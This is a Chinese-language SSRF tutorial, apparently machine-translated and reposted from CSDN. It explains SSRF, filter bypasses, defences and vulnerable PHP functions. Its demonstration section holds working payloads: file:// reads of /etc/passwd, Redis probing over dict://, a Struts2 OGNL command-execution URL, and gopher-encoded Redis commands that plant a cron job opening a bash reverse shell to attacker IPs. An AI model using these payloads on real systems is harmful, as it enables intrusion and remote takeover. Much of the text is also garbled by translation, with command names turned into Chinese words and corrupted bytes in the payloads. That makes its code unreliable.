一篇文章教你学会SSRF漏洞(ssrf原理以及攻击和防御方法)

一篇文章教你学会SSRF漏洞目录
Ⅰ、SSRF漏洞
一、介绍SSRF漏洞
二、SSRF漏洞原理
三、主要攻击方式
四、SSRF漏洞利用方式
五、SSRF利用的协议
六、常见的漏洞函数
七、可能出现漏洞的点
八、SSRF危害

目录

一、SSRF漏洞

1. SSRF漏洞概述

2. SSRF漏洞原理

3、主要攻击方式

4.如何利用SSRF漏洞

5. SSRF中使用的协议

6. 常见漏洞特征

7. 可能存在的漏洞

8. SSRF 的危险

9.SSRF保护

10. 绕过

十一、优点

二、如何避免SSRF漏洞

1、常用绕过方法

2. 一般限制

3.SSRF修复建议

III. 脆弱性展示

1. SSRF中使用的协议

2、攻击内网或本地运行的应用程序

3. 扫描您的内部网络并获取端口和服务信息。

4.内网Web指纹认证

5、通过发送请求报文攻击内部主机和端口

6. 文件协议读取本地文件

7.SSRF攻击Redis

四、挖掘SSRF漏洞点

五、常见漏洞特征

(1) 文件获取内容()

(2)fsockopen()

(3)curl_exec()

六、SSRF漏洞验证方法

、SSRF漏洞

一、介绍SSRF漏洞

SSRF(服务器端请求伪造)是一种安全漏洞,攻击者创建请求,服务器发起请求。通常,SSRF攻击的目标是无法访问外部网络的内部系统(请求由服务器发起,因此服务器可以请求与自身连接且与外部网络隔离的内部系统)。

漏洞利用:利用存在SSRF漏洞的服务器作为跳板,攻击其他内部服务。

https://www.cnblogs.com/miruier/p/13907150.html 很棒

二、SSRF漏洞原理

SSRF 的形成主要是由于服务器提供了从其他服务器应用程序检索数据的能力,而无需过滤或限制目标地址。例如,黑客可以操纵服务器使用服务器端请求伪造从指定的URL地址检索网页的文本内容或从指定的地址加载图像。 SSRF 利用有缺陷的网络

该应用程序充当攻击远程和本地服务器的代理。

三、主要攻击方式

对外网、服务器所在内网、本地进行端口扫描,获取部分服务的banner信息。攻击在内联网或本地运行的应用程序。对内网Web应用程序进行指纹识别,识别企业内的资产信息。针对内网和外网Web应用的攻击主要是可以使用HTTP GET请求(struts2、SQli等)完成的攻击。使用文件协议读取本地文件等。

http://payloads.net/ssrf.php?url=192.168.1.10:3306

http://payloads.net/ssrf.php?url=file:///c:/windows/win.ini

四、SSRF漏洞利用方式

您可以扫描您的内部网络以获取端口和服务信息。攻击在内联网或本地运行的应用程序。它在内网Web上进行指纹认证,向内部主机和端口发送请求报文,攻击文件协议读取本地文件。

用途: 1. 扫描资产2. 检索敏感信息3. 攻击内网服务器(不是通过WAF) 4. 通过Redis 创建Web shell 来提权。

五、SSRF利用的协议

file:如果有回显,则可以使用文件协议读取任意内容。 dict:泄露安装软件版本信息、查看端口、操纵内网Redis服务等。 gopher:gopher支持发出GET和POST请求。先获取get请求和post请求封装并构造符合gopher协议的请求。 gopher协议是使用ssrf(俗称通用协议)最强大的协议之一。可用于反弹shell http/s:检测内网主机存活情况

六、常见的漏洞函数

file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()

七、可能出现漏洞的点

在线翻译、文件下载、图片加载场景

八、SSRF危害

SSRF注入几乎万能SQL注入sturtus2端口检测敏感信息泄露

九、SSRF防御

从入口处

URL地址白名单、域名识别、IP过滤、内部IP过滤、文件协议、http协议、dict协议禁用,出口请求端口限制(仅限80端口)。

过滤返回信息(无返回信息)并整合错误信息

十、绕过

1. SSRF关闭后如何绕过127.0.0.1?

绕过方法:使用期限127.1.1.1

其他绕过方法在我的其他文章中

十一、优势

SSRF 主要可用于Intranet

、SSRF漏洞绕过方法

一、常用绕过方法

@http://abc.com@127.0.0.1 添加端口号http://127.0.0.1:8080。 xip.io的原理是DNS解析。 xip.io可以指向任意域名,即127.0.0.1.xip.io,可解析为127.0.0.1:http://tool.chinaz.com/tools/dwz.aspx、https://dwz.cn/。

IP地址转换为十六进制访问192.168.0.1=3232235521(十进制)。对于非HTTP 协议DNS 重新绑定,请使用[:] 绕过http://[:]:80/http://127.0.0.1 周期并绕过127.0.0.1。 7.0.0.1使用302跳转绕过使用URL Shortener、Branded Short Links Analytics来生成302跳转地址。

@:

http://www.baidu.com@10.10.10.10 与http?/10.10.10.10请求相同

过滤器旁路

将IP 地址转换为十进制。

127.0.0.1 首先从第二位数字开始转换为十六进制7F000001,因此1 变为01。

将7F000001 转换为二进制

127.0.0.1=2130706433 最终结果

还有一种是根据域名来判断,比如xip.io域名,所以请尝试下面的方法。

xip.io

xip.io127.0.0.1.xip.io –127.0.0.1

www.127.0.0.1.xip.io –127.0.0.1

哈哈哈。 127.0.0.1.xip.io –127.0.0.1

哈哈.xixi.127.0.0.1.xip.io –127.0.0.1

二、常见限制

1、域名限制为http://www.xxx.com

使用http 基本身份验证绕过。现在@

http://www.xxx.com@www.xxc.com

2、限制请求IP为内网地址

如果IP不允许是内网地址

(1)避免使用缩短的URL

(2)采用特殊域名

(3)采用基数转换

3. 限制仅对http协议的请求

(1)302跳跃

(2)取短地址

三、SSRF修复建议

唯一限制请求的端口是Web 端口,仅允许访问HTTP 和HTTPS 请求。为了防止内网受到攻击,请限制无法访问内网的IP地址。屏蔽返回的详细信息。

、漏洞演示

漏洞演示:

?php

函数curl($url){

$ch=curl_init();

curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_HEADER, 0);

卷曲执行($ch);

卷曲_关闭($ch);

}

$url=$_GET[\’url\’];

卷曲($url);

一、SSRF利用的协议

(1) 文件:通过echo,可以使用文件协议读取任意内容。

(2)dict:泄露安装软件版本信息、显示端口、操作内网Redis服务等。

(3) gopher:gopher支持发出GET和POST请求。可以先拦截get和post请求包,然后构造符合gopher协议的请求。 gopher协议是使用ssrf(俗称通用协议)最强大的协议之一。可以用来弹弹壳

(4)http/s:检测内网主机存活情况。

二、攻击运行在内网或本地的应用程序

本地使用:

(1) 使用文件协议文件协议(加载任意文件)

卷曲-vvv \’http://target/ssrf.php?url=file:///etc/passwd\’

(2)使用dict协议dict协议(获取Redis配置信息)

卷曲-vvv \’http://target/ssrf.php?url=dict://127.0.0.1:6379/info\’

(3)使用gopher协议(俗称通用协议)gopher协议(一键反弹Bash)

卷曲-vvv \’http://target/ssrf.php?url=gopher://127.0.0.1:6379/_*1 %0d %0a $8%0d %0aflushall %0d %0a*3 %0d %0a $3%0d %0aset %0d %0a $1%0d %0a1 %0d %0a $64%0d %0a %0d %0a %0a %0a*/1 * * * * bash -i /dev/tcp/127.0.0.1/4444 01 %0a %0a %0a % 0a %0a %0d %0a %0d %0a %0d %0a*4 %0d %0a $6%0d %0aconfig %0d %0a $3%0d %0aset %0d %0a $3%0d %0adir %0d %0a $16% 0d %0a/var/spool/cron/%0d %0a*4 %0d %0a $6%0d %0aconfig %0d %0a $3%0d %0aset %0d %0a $10%0d %0adbfilename %0d %0a $4%0d %0aroot %0d %0a*1 %0d %0a $4%0d %0保存%0d %0退出%0d %0a\’

三、扫描内部网络,获取端口,服务信息

搭建IP:PORT进行访问

发现内网IP 192.168.1.124的80端口(这里使用http协议;当然也可以用dict协议替换http来发现开放端口)。

http://localhost/ssrf.php?url=http://192.168.1.124:80

检测到端口3306

http://localhost/ssrf.php?url=http://192.168.1.124:3306

找到任意端口(这里5357是开放的)

http://localhost/ssrf.php?url=http://192.168.1.124:5357

有些端口服务banner检测并输出到页面,或者开放端口访问状态码以5(500、501、503.)或4(403、404.)等开头。在没有开放端口的情况下访问网页需要更长时间。

四、对内网web进行指纹识别

如果您构建了CMS特征镜像、目录、文件等并发出请求,如果您内网服务192.168.1.124的8080端口上存在phpmyadmin,则访问时会显示该镜像。

其他事情也是如此

http://192.168.1.124:8080/phpMyAdmin/subject/original/img/b_tblimport.pnghttp://192.168.1.124:8081/wp-content/subject/default/image/audio.jpghttp://192.168.1.12433 /profiles/minimal/translation /自述文件.txt

五、 对内部主机和端口发送请求包进行攻击

可以使用get方法攻击的网站包括struts2命令执行、Thinkphp和Jboss。

下面是针对内网服务器192.168.1.139的攻击。运行whoami 命令。

http://localhost/ssrf.php?url=http://192.168.1.139:8081/${%23context[\’xwork.MethodAccessor.denyMethodExecution\’]=false,%23f=%23_memberAccess.getClass().getDeclaredField(\’allowStaticMethodAccess\’),%23f.可能(true),%23f.set(%23_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(\’whoami\’).getInputStream() )}。行动

post 方法允许您使用gophar 协议发送请求数据包。

http://localhost/ssrf.php?url=gopher://192.168.1.124:6667/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20127.0.0.1%3A2233%250d%250aConnect%%250d% 250a内容-类型%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250a用户名%3Dadmin%26password%3Dpassword

六、file协议读取本地文件

这里的配置可以通过URL参数接收来尝试请求内网资源。

Windows:

http://localhost/ssrf.php?url=file:///c:\\\\windows\\\\csup.txt

Linux:

http://localhost/ssrf.php?url=file:etc/csup.txt

文件协议的使用。这里我们读取Windows目录下的csup.txt文件的内容。

七、SSRF攻击Redis

这里需要了解两个知识点:1.Gopher协议2.Redis数据包转换字符串

1. 地鼠协议

推荐文章:https://zhuanlan.zhihu.com/p/112055947

2.Redis数据包转换字符串

Redis服务开启抓包并监听本地端口6379。

使用kali linux 连接并运行info 命令。

接下来,使用Wireshark 在本地分析数据包并跟踪TCP 流。

*1 #数组长度为1

$7 #多行字符串,长度7

命令#命令

*1 #数组长度为1

$4 #多行字符串,长度7

info #返回一个字符串,它是文本行的集合。

转换为URL编码

*1

7 美元

指示

*1

4美元

信息

网址编码:

*1%0A%247%0ACOMMAND%0A*1%0A%244%0Ainfo

(注意将%0A 替换为%0D%0A)

*1%0D%0A%247%0ACOMMAND%0D%0A*1%%0D%0A%244%0D%0Ainfo

卷曲构建请求

卷曲gopher://192.168.110.133:6379/_*1%0D%0A%247%0ACOMMAND%0D%0A*1%%0D%0A%244%0D%0Ainfo

如果长度太长,请更改它。

*1%0D%0A%247%0D%0ACOMMAND%0D%0A*2%0D%0A%244%0D%0Aecho%0D%0A%243%0D%0A123

可以看到输出了123。

通过未授权访问Redis来攻击Redis

攻击Redis漏洞利用(这个其实就是利用了Redis反弹shell的方式)

测试

设置1 \’\\n\\n\\n\\n* * * * * root bash -i /dev/tcp/192.168.110.133/4789 01\\n\\n\\n\\n\’

配置集目录/etc/

配置集dbfilename crontab

保持

捕获和转换数据:

*1%0D%0A%247%0D%0ACOMMAND%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%245%0D%0Ashell%0D%0A%2464%0D%0A%0D %0A%0D%0A*%2F1%20*%20*%20*%20*%20%2Fbin%2Fbash%20-i%3E%26%2Fdev%2Ftcp%2F192.168.110.141%2F4789%200% 3E%261%0D%0A%0D%0A%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D% 0A%2416%0D%0A%2Fvar%2Fspool%2Fcron%2F%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D% 0Adb文件名%0D%0A%244%0D%0Aroot%0D%0A*1%0D%0A%244%0D%0Asave

转换规则为:

如果第一个字符是指示请求和返回时间的字符串,则该行将被丢弃。

如果前三个字符为+OK,则丢弃指向返回字符串的行字符串。

将r 字符串替换为%0d%0a

空行被替换为%0a

结合gopher协议攻击内网Redis,利用上面抓到的数据进行变换执行反弹shell(192.168.1.4为存在Redis未授权访问漏洞的服务器)。

卷曲-v \’http://192.168.1.124:8000/ssrf.php?url=gopher://192.168.1.4:6379/_*1 %250d %250a %248%250d %250aflushall %250d %250a %2a3 %250d %250a %243%250d %250a 集%250D%250A%241%250D%250A1%250D%250A%2464%250D%250A%250D%250A%250A%250A%2A%2F1%20%2A%bash%20-i%20%3E%26%20 %2fdev %2ftcp %2f121.36.67.230 %2f5555 %200%3E %261%250a %250a %250a %250a %250a %250d %250a %250d % 250d %250a %2a4 %250d %2 50a %246%250d % 250aconfig %250d %250a %243%250d %250aset %250d %250a %243%250d %250adir %250d %250a %2416%2 50d % 250a %2fvar %2fspool % 2fcron %2f %250d %250a %2a4 %250d %250a %246%250d %250aconfig %250d %250a %243%250d %250aset %250d %250a %2410%250d %250adb 文件名%250d 250a %244%250d %250aroot %250d %250a %2 a1 %250d %250a %244% 250d %250保存%250d %250退出%250d %250a\’

卷曲-v \’http://192.168.1.124:8000/ssrf.php?url=gopher://192.168.1.4:6379/__*1%0D%0A%247%0D%0ACOMMAND%0D%0A*3%0D%0A%243%0D%0Aset %0D%0A%245%0D%0Ashell%0D%0A%2464%0D%0A%0D%0A%0D%0A*%2F1%20*%20*%20*%20*%20%2Fbin%2Fbash% 20-i%3E%26%2Fdev%2Ftcp%2F192.168.110.141%2F4789%200%3E%261%0D%0A%0D%0A%0D%0A*4%0D%0A%246%0D%0Aconfig% 0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A%2Fvar%2Fspool%2Fcron%2F%0D%0A*4%0D%0A%246% 0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A*1%0D%0A%244%0D%0Asave\’

构建有效负载:

SSRF漏洞主机IP:192.168.0.2

Redis未授权主机IP:192.168.110.133

Kali Linux攻击机IP:192.168.110.141

卷曲-v \’http://192.168.0.2/ssrf.php?url=gopher://192.168.110.133:6379/_*1 %250d %250a %248%250d %250afluhall %250d %250a %2a3 %250d 2 50a%243%250d%250a套装%250d %250a %241%250d %250a1 %250d %250a %2464%250d %250a %250d %250a %250a %250a %2a %2f1 %20%2a %20%2a %20%2a %20% 2a% 2 0 bash %20-i %20%3E %26%20%2fdev %2ftcp %2f192.168.110.141 %2f6789 %200%3E %261%250a %250a %250a %250a %250a %250d %250a %250d %2 5 0a% 250d %250a %2a4 %250d %250a %246%250d %250a配置%250d %250a %243%250d %250aset %250d %250a %243%250d %250adir %250d %250a 250 d % 250a %2fvar %2fspool %2fcron %2f %250d %250a %2a4 %250d %250a %246%250d %250aconfig %250d %2

50a %243%250d %250aset %250d %250a %2410%250d %250adbfilename %250d %250a %244%250d %250aroot %250d %250a %2a1 %250d %250a %244%250d %250asave %250d %250aquit %250d %250a\’

 Ⅳ、SSRF漏洞点挖掘

5.1. 社交分享功能:获取超链接的标题等内容进行显示

5.2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

5.3. 在线翻译:给网址翻译对应网页的内容

5.4. 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

5.5. 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

5.6. 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试

5.7. 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

5.8. 数据库内置功能:数据库的比如mongodb的copyDatabase函数

5.9. 邮件系统:比如接收邮件服务器地址

5.10. 编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等

5.11. 未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

5.12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

URL关键字:

Share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain

Ⅴ、常见的漏洞函数

常见的几个:file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()

(1)file_get_contents()

<?php
$url = $_GET[\’url\’];;
echo file_get_contents($url);
?>
file_get_content函数从用户指定的url获取内容,然后指定一个文件名j进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。

(2)fsockopen()

<?php
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo \”$errstr (error number $errno) \\n\”;
} else {
$out = \”GET $link HTTP/1.1\\r\\n\”;
$out .= \”Host: $host\\r\\n\”;
$out .= \”Connection: Close\\r\\n\\r\\n\”;
$out .= \”\\r\\n\”;
fwrite($fp, $out);
$contents=\’\’;
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限

(3)curl_exec()

<?php
if (isset($_POST[\’url\’])){
$link = $_POST[\’url\’];
$curlobj = curl_init();// 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
$result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源
$filename = \’./curled/\’.rand().\’.txt\’;
file_put_contents($filename, $result);
echo $result;
}
?>
curl_exec函数用于执行指定的cURL会话

注意:

1.一般情况下PHP不会开启fopen的gopher wrapper 2.file_get_contents的gopher协议不能URL编码 3.file_get_contents关于Gopher的302跳转会出现bug,导致利用失败 4.curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用 5.curl_exec() //默认不跟踪跳转, 6.file_get_contents() // file_get_contents支持php://input协议

 Ⅵ、SSRF漏洞验证方式

3.1.排除法:浏览器f12查看源代码看是否是在本地进行了请求

比如:该资源地址类型为 http://www.xxx.com/a.php?image=URL,URL参数若是其他服务器地址就可能存在SSRF漏洞

3.2.dnslog等工具进行测试,看是否被访问(可以在盲打后台,用例中将当前准备请求的url和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求)

3.3.抓包分析发送的请求是不是通过服务器发送的,如果不是客户端发出的请求,则有可能是存在漏洞。接着找存在HTTP服务的内网地址

从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址通过二级域名暴力猜解工具模糊猜测内网地址通过file协议读取内网信息获取相关地址
3.4.直接返回的Banner、title、content等信息

3.5.留意布尔型SSRF,通过判断两次不同请求结果的差异来判断是否存在SSRF,类似布尔型sql盲注方法。

#以上关于一篇文章教你学会SSRF漏洞的相关内容来源网络仅供参考,相关信息请以官方公告为准!

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/91601.html

(0)
CSDN的头像CSDN
上一篇 2024年6月22日
下一篇 2024年6月22日

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注